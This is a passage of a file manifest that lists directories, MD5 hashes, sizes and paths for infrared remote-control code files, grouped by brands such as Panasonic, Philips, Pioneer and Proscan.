-F:33304f2cfdc2e39fdbfdfe33ccaee126:3709:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir -F:6503293633161c056b45485d19b1b0c7:1007:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir -F:db3370a977e7c874ec59d48acf1c0574:3411:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir -F:bab9b110a1edbe0aba82bc8fbcca0a62:1119:infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir -F:f718dacf881f2d195c7598374a454be8:1651:infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir -F:1e820eaab82109844b1df5008ca6cdf0:373:infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir -F:7537ba6c36ccab0cba7676f31b8ecc24:3120:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir -F:b220bc9bf4589effef299dc63bed6b68:2946:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir -F:7d943772bc14ee26601c66258a2537bf:3495:infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir -F:fcd051ed560a37fbffe02e475f8120d3:4876:infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir -F:72a3149d0aee79e5fe5278c1857cb3cf:739:infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir -F:e2b2031245c493776160368e9a781f6b:131:infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir -F:7a14fa831fc0546a55201fe3165ac983:1005:infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir -D:infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838 -F:a6873eb1cf4e67833ced84fc50b28c62:4183:infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir -D:infrared/_CSV-IRDB_/Pansat/Unknown_2500a -D:infrared/_CSV-IRDB_/Pansat/Unknown_2700 -D:infrared/_CSV-IRDB_/Pansat/Unknown_2700a -F:9cca34089c1065f6d165581e6670b035:2795:infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir -F:5e4d5ec45256a1bbd5fd680d56638484:3113:infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir -F:1bb4204b89811c4cc45134fec19cacc4:4022:infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir -D:infrared/_CSV-IRDB_/Parasound/Receiver -D:infrared/_CSV-IRDB_/Parasound/Surround Processor -F:173684bb45ba45956df62c068deda82f:755:infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir -F:0faf8e936a92ef0d794b5449465ccdfb:4295:infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir -F:5376485d423b884791af53bfe448a19e:4785:infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir -F:26e40c306b5de0785db98bb5f0460e0b:2308:infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir -D:infrared/_CSV-IRDB_/Peekton/Unknown_IR6005 -F:ebd344f652778e3ff1d61a9b5c9df071:4380:infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir -D:infrared/_CSV-IRDB_/Philco/Unknown_PCR-111 -F:b13861b978e90bdda4834dcf2adc1875:2320:infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir -D:infrared/_CSV-IRDB_/Philips/CD-R -D:infrared/_CSV-IRDB_/Philips/DSS -D:infrared/_CSV-IRDB_/Philips/DVD Player -D:infrared/_CSV-IRDB_/Philips/Digital Recorder -D:infrared/_CSV-IRDB_/Philips/Receiver -D:infrared/_CSV-IRDB_/Philips/TV -D:infrared/_CSV-IRDB_/Philips/Unknown_01 -D:infrared/_CSV-IRDB_/Philips/Unknown_101 -D:infrared/_CSV-IRDB_/Philips/Unknown_130A -D:infrared/_CSV-IRDB_/Philips/Unknown_17PT1563 -D:infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H -D:infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D -D:infrared/_CSV-IRDB_/Philips/Unknown_5260 -D:infrared/_CSV-IRDB_/Philips/Unknown_5300 -D:infrared/_CSV-IRDB_/Philips/Unknown_5373 -D:infrared/_CSV-IRDB_/Philips/Unknown_8243 -D:infrared/_CSV-IRDB_/Philips/Unknown_95 -D:infrared/_CSV-IRDB_/Philips/Unknown_AV5609 -D:infrared/_CSV-IRDB_/Philips/Unknown_CD -D:infrared/_CSV-IRDB_/Philips/Unknown_CD720 -D:infrared/_CSV-IRDB_/Philips/Unknown_CD723 -D:infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500 -D:infrared/_CSV-IRDB_/Philips/Unknown_DVD-724 -D:infrared/_CSV-IRDB_/Philips/Unknown_DVD711 -D:infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982 -D:infrared/_CSV-IRDB_/Philips/Unknown_DVP-642 -D:infrared/_CSV-IRDB_/Philips/Unknown_FW2104 -D:infrared/_CSV-IRDB_/Philips/Unknown_LV2 -D:infrared/_CSV-IRDB_/Philips/Unknown_MULTI -D:infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5 -D:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS -D:infrared/_CSV-IRDB_/Philips/Unknown_PM725S -D:infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX -D:infrared/_CSV-IRDB_/Philips/Unknown_R-48F01 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC -D:infrared/_CSV-IRDB_/Philips/Unknown_RC-2012 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC-5 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC-7843 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC19042002 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC19237006 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P -D:infrared/_CSV-IRDB_/Philips/Unknown_RC2034302 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC2070 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC2582 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC7507 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC7843 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC7925 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC8244 -D:infrared/_CSV-IRDB_/Philips/Unknown_RC8861 -D:infrared/_CSV-IRDB_/Philips/Unknown_RCLE011 -D:infrared/_CSV-IRDB_/Philips/Unknown_RD6834 -D:infrared/_CSV-IRDB_/Philips/Unknown_RT150 -D:infrared/_CSV-IRDB_/Philips/Unknown_RU120 -D:infrared/_CSV-IRDB_/Philips/Unknown_SBC -D:infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520 -D:infrared/_CSV-IRDB_/Philips/Unknown_SF172 -D:infrared/_CSV-IRDB_/Philips/Unknown_SRM5100 -D:infrared/_CSV-IRDB_/Philips/Unknown_SRU -D:infrared/_CSV-IRDB_/Philips/Unknown_STEREO -D:infrared/_CSV-IRDB_/Philips/Unknown_TIVO -D:infrared/_CSV-IRDB_/Philips/Unknown_TIVO34 -D:infrared/_CSV-IRDB_/Philips/Unknown_TV -D:infrared/_CSV-IRDB_/Philips/Unknown_VCR -D:infrared/_CSV-IRDB_/Philips/Unknown_VR175 -D:infrared/_CSV-IRDB_/Philips/Unknown_digital -D:infrared/_CSV-IRDB_/Philips/Unknown_dvd712 -D:infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1 -D:infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf -D:infrared/_CSV-IRDB_/Philips/Unknown_uDigital -D:infrared/_CSV-IRDB_/Philips/VCR -F:5efdadc522dfc6e99171fe2dc07562f1:804:infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir -F:5273467bf5094743ace74f29b3da02d7:1379:infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir -F:8b0a5df3b35d814aab63477b392f8525:2916:infrared/_CSV-IRDB_/Philips/DSS/133,48.ir -F:db05baac52234280f8c174f6737fc0d2:1746:infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir -F:b0f22252406d3bc3d073fe15f4c63f6e:2708:infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir -F:54edf1815762bf2685e2450147cf50f3:27047:infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir -F:d71d27fc5833496916195b6dc0ef50e4:219:infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir -F:901549fd06afdc59d12e7879b63fee0d:893:infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir -F:0ff4cb0e0487abad0964a7aa550eb55a:1731:infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir -F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir -F:781a2b860f766bb6fd004f901f324e97:123:infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir -F:8cf60b06764e4ae354f37dd76f43f7cc:5648:infrared/_CSV-IRDB_/Philips/TV/0,-1.ir -F:a45c03a89b04880b412fecc9f72d2f79:908:infrared/_CSV-IRDB_/Philips/TV/3,-1.ir -F:66418da00d238ce8eb03a73fab9b34fd:2355:infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir -F:7d451c98be5e94edacaa667cf020849a:3831:infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir -F:d54862db60b582953aba7cb84f5e1f96:2618:infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir -F:7b27288ca31888c0aab1393bf4799afc:2136:infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir -F:fcc81fc16f356cb8c02b29726bb5ca53:2627:infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir -F:be3e9fb762a884a2562b62b27b5a5726:3768:infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir -F:c8cda4d9335346933da284302c8bfe55:3267:infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir -F:1ff93fc991f76a3ea6d2fb0a926d4aec:3971:infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir -F:85c36462184850d3766dcccee9819a4c:2806:infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir -F:248ff1a0c71ffe505e408225b61c774c:8048:infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir -F:1b4cb1e5d2ffa15e02ec8ac60d2e3cd2:2652:infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir -F:9681ff7fb9fdc22350d6bb9b2b1b4e37:1748:infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir -F:2608d7def4f48559cf9e1772ddbcc643:1386:infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir -F:3c5881d46d62eaaff81c815f95492888:1816:infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir -F:bd2c6b4948c7f752c383fc3859054c10:1116:infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir -F:d3e66be7930f582f599e12fd25e7d114:2331:infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir -F:eec440014fc61c6a8a8bc0e047b19bf3:2955:infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir -F:d5a8db054735e205b6be253aaee406d5:2962:infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir -F:071cca0653e08243b036e1cc22911d7d:2850:infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir -F:e480622553667c7563ab25baa0ed5ce1:2508:infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir -F:87ea85ffc79ef4da79a735da20282d5f:2958:infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir -F:f7078b91263f576476e7e2632ecd025e:4386:infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir -F:e5d19f86a5fed8836f369b15543fd118:2757:infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir -F:183d4bbd7c36f9d53d5b7d6fb9fad165:1803:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir -F:b57d572e0bb17a4636800971ea65008f:2261:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir -F:778814ca2909248763a661434c5ab80b:1967:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir -F:2825064c7a9ff133ff266081c0731308:3494:infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir -F:513b1869408fc90fc8230394f67ee452:2884:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir -F:9ab00812a17b847de9c47cda07ffd973:2137:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir -F:00e0006d429e19e0400ca8b8f0c7cbda:3409:infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir -F:e2cbd834a75464b64d0f49b6c6b2440f:3292:infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir -F:ccfafc3975f16e6e5c1ed9cd482c287a:1854:infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir -F:f74f75853ebddc4d203689cf3251b1e0:4920:infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir -F:d3f57f5d24780fbd7fb15ad6244adbe4:1669:infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir -F:8effe9fcce928a22687dffff74123575:2688:infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir -F:2cf2ea5319bd171b928788a9a1352ad4:580:infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir -F:4f079c765d0238937216939aefdbc40b:7274:infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir -F:b35387b090bef42bd7e364c092f540e8:2591:infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir -F:8ca40379ccd8891ca4134c09dcfcce6e:3813:infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir -F:14ae8be4a60be08e5d8b4eed480e4cc2:3292:infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir -F:3d93499249cb39a04348addfd4eba71a:1454:infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir -F:88680cfecf0199cd3836533a2b82252f:3437:infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir -F:ec3fc788a2ba2d521bde538c1e3f0b2f:4555:infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir -F:9e04d89c553537866c3fed9b799acc04:2508:infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir -F:789d62c40ded3d7825e21b70ea3f1c96:3195:infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir -F:d7f653298f8b5914336af042ca373e27:5766:infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir -F:c0e523e03598eea06386bfad1b48df3c:2575:infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir -F:0feb04ddf703fb1f559ba0ed221140f4:2412:infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir -F:72c619a32ea73f1c64e5a0646d56c450:2636:infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir -F:f3703a47570aacc42345c8968891e246:2453:infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir -F:5753793ad1e7e220405008e7dbf39111:3120:infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir -F:6e154761927a9c8b4a383a0bb9029c0a:1791:infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir -F:82eb76b171475e83438db17a4096193a:2605:infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir -F:5b102b3aaf7241703ebf3cf9873a7880:934:infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir -F:d7109fe0d281ac8c4a9d8e54cbf933f1:4320:infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir -F:52db49fadffcbcd427e245a7edd4b670:2307:infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir -F:9d10b55f0d30ac3b4f57c706219e228e:8306:infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir -F:b4017f16a65cd862e6c3548ade1c9b85:3240:infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir -F:b841158ad618adabc21f08f5d524b63c:4049:infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir -F:b80beef8f6f6ab590b0b8d369a815656:4027:infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir -F:3002791981ad7b8f5e58312b1600c116:571:infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir -F:93f676e7f6af9d8b2c6f6e48ab9b5263:2780:infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir -F:adc66cce5a02ef3c45b77a21c4a37b13:3498:infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir -F:a7dde5a5c4093339898ecff09c14f2a3:2400:infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir -F:64a644a3b173d30806efdc7f076ff099:2518:infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir -F:e5fb9f50836ca965d750cad50c807b86:2409:infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir -F:8b9c6487f205f664dac215794f6dcfc4:3441:infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir -F:78c07b456d5c3e159f734575fbd797ac:3040:infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir -F:93e56388047075f6e2261e2ead8bf0f3:2919:infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir -F:dff2059cdcf7bff9eefd355f4b65cbb5:1962:infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir -F:baeefec50f18655877e5d619282c1d17:3256:infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir -F:2cfde9321fea2e25242cb56b0be8bf22:2526:infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir -D:infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige -F:9efb303ef1ccfbae020382ee53930c2c:3853:infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir -D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i -D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i -D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV -D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D -F:b62bf16578385bc31f4afa4578deebef:3758:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir -F:63cee766dcb711e51ad393770e6db1cb:2274:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir -F:974cd66cdf96cafa6e7f8ea03a0de7fb:2171:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir -F:3922a49969eb3673c5e08487adcdf711:3780:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir -D:infrared/_CSV-IRDB_/Pioneer/Amplifier -D:infrared/_CSV-IRDB_/Pioneer/CD Jukebox -D:infrared/_CSV-IRDB_/Pioneer/CD Player -D:infrared/_CSV-IRDB_/Pioneer/Cable Box -D:infrared/_CSV-IRDB_/Pioneer/Cassette Tape -D:infrared/_CSV-IRDB_/Pioneer/DVD Changer -D:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox -D:infrared/_CSV-IRDB_/Pioneer/DVD Player -D:infrared/_CSV-IRDB_/Pioneer/Laser Disc -D:infrared/_CSV-IRDB_/Pioneer/Receiver -D:infrared/_CSV-IRDB_/Pioneer/TV -D:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_CD -D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096 -D:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer -F:ee4b7ed7a2d4e789154f3b517756c96c:129:infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir -F:09244ce4761baddf028f1bf1fa8055f0:127:infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir -F:6a6b49fff8a116fb65d112fc83ba48b4:2603:infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir -F:f86b9c308c84e4abba3c67a1b97dd3a1:7494:infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir -F:2f8569e280cd424cee1c0c395bdae4b8:2290:infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir -F:f4383e331655f38a5fd894ede260f6d2:199:infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir -F:13b274f269f4309d7bbcc86a35bbac80:123:infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir -F:2ae751dcff98fa2a6a0817b4fddd684d:1981:infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir -F:1e69ed37e64063b94300495afccb6a7a:2203:infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir -F:4a104c125c2dfb101faa094b7d868799:4270:infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir -F:169a5c55437f4821c2141cf50db23f9a:3439:infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir -F:b8f49410bd565c2deca6036b44076c42:3380:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir -F:9a3a1fc85767d94f0cfad8606dd1c923:2548:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir -F:2dfeda7ac64d5568998f3d76be14702f:10911:infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir -F:1f86081f013287d20c380377d17fdd29:6193:infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir -F:306f0278fde60a305971ed02807d1645:2266:infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir -F:0816c549c9d14d0b0916753665ffc265:10140:infrared/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir -F:90a14edb14ca3a1d0ad41167d62fb014:1738:infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir -F:718b0599175eb292c4c1a32ae26935f6:1467:infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir -F:8bb1706e898efc73319ff8b2d445864a:5460:infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir -F:3298be99605763805220ab41b67ff62c:6732:infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir -F:f1fd77ee1b9f01da0e22bcb1c845a661:442:infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir -F:095b3b89fc91ad595a36dc4ca27898e1:4457:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir -F:7544c3b455edb0728d487e6b09c09564:1993:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir -F:7751a716765173382d38fc872130cda6:3198:infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir -F:0e35b290fdfc05946d28f13ce849dcc3:2068:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir -F:1a0b5f33617b8d3073f2fcde03aaa1fd:3037:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir -F:01b3796300f86d9b498bf1ed0e3a4b61:2794:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir -F:25fa0c093c86c685d828456b905c7b61:2121:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir -F:940aed7db865e4e1a4ded9971ddf6a71:2149:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir -F:6461f6eed07fb00979aad437547e298c:2138:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir -F:554b477d61c0530dc0fd742c9fd6a9ff:2111:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir -F:6a5bff1104ff0b73b6ca7e99f2e48b9c:3774:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir -F:7b6a840ab3bfd244d3fd2b39292e713a:2846:infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir -F:3cfe75556a96324b039c47822bd12f67:3005:infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir -F:fd20352eceddc41c537025052304e0c1:2775:infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir -F:445656a47b04a477ecc59de34fea278f:3314:infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir -F:0e615858e02d573511e965c4af061c4e:2057:infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir -F:bd51874e7dccd9012a87959ae031e278:3470:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir -F:d2e8f3dff5439a0ba3bdc54df4129652:2418:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir -D:infrared/_CSV-IRDB_/PixelView/Unknown_2000 -D:infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV -F:7ea0ce82d7249b977270f43ccfd190fe:5881:infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir -F:e71dd710a59b51b7083d38da1c1f795e:5159:infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir -D:infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000 -F:4adcfa9008bbcb3f9f895e2d3feaa0df:4042:infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir -D:infrared/_CSV-IRDB_/Pragmatic/Router -F:db8d818acb2d1e41c10352fe51b458e2:693:infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir -D:infrared/_CSV-IRDB_/ProPlay/Unknown_PS2 -F:00890e871b4b5c68e177e6ee2978b2d4:1570:infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir -D:infrared/_CSV-IRDB_/Proceed/Surround Processor -F:f05f49fa375f123474695608f5745694:1722:infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir -D:infrared/_CSV-IRDB_/Proscan/DVD Player -D:infrared/_CSV-IRDB_/Proscan/TV -D:infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr -F:7ae4267d472b9dd6890ca157c060a471:208:infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir -F:3640ef26d784d77ab4cc3df3b9c2cb61:3219:infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir -F:06b0301df326f671fb566d6b1c95439c:6329:infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir -F:becc9965c4758cfbc3b3402b9a69baf7:3485:infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir -D:infrared/_CSV-IRDB_/Protek/Unknown_Protek -F:01dea1ff799c73f3d9456b1dedc5e19a:1790:infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir -D:infrared/_CSV-IRDB_/Proton/TV -F:883939d48e8d41802ec043ff8de03411:824:infrared/_CSV-IRDB_/Proton/TV/17,-1.ir -F:4c2c529cf031428ee824123c418e3956:734:infrared/_CSV-IRDB_/Proton/TV/2,-1.ir -F:67801dc6900082bcf3ee8098dc4cabee:2166:infrared/_CSV-IRDB_/Proton/TV/3,-1.ir -F:46afcdfcc586e775aa7d4a94cc5ddab9:1564:infrared/_CSV-IRDB_/Proton/TV/4,-1.ir -D:infrared/_CSV-IRDB_/Provideo/Unknown_PV951 -F:6e5b3e801e148069254e3e4097daaa54:2682:infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir -D:infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0 -D:infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166 -F:cee4474d3325f16fe7fee8a3887afbe1:3510:infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir -F:e40c1e6a26b17099436dcb9ec57461d1:3862:infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir -D:infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804 -F:e72860438493a6fe4603896e930b7048:2916:infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir 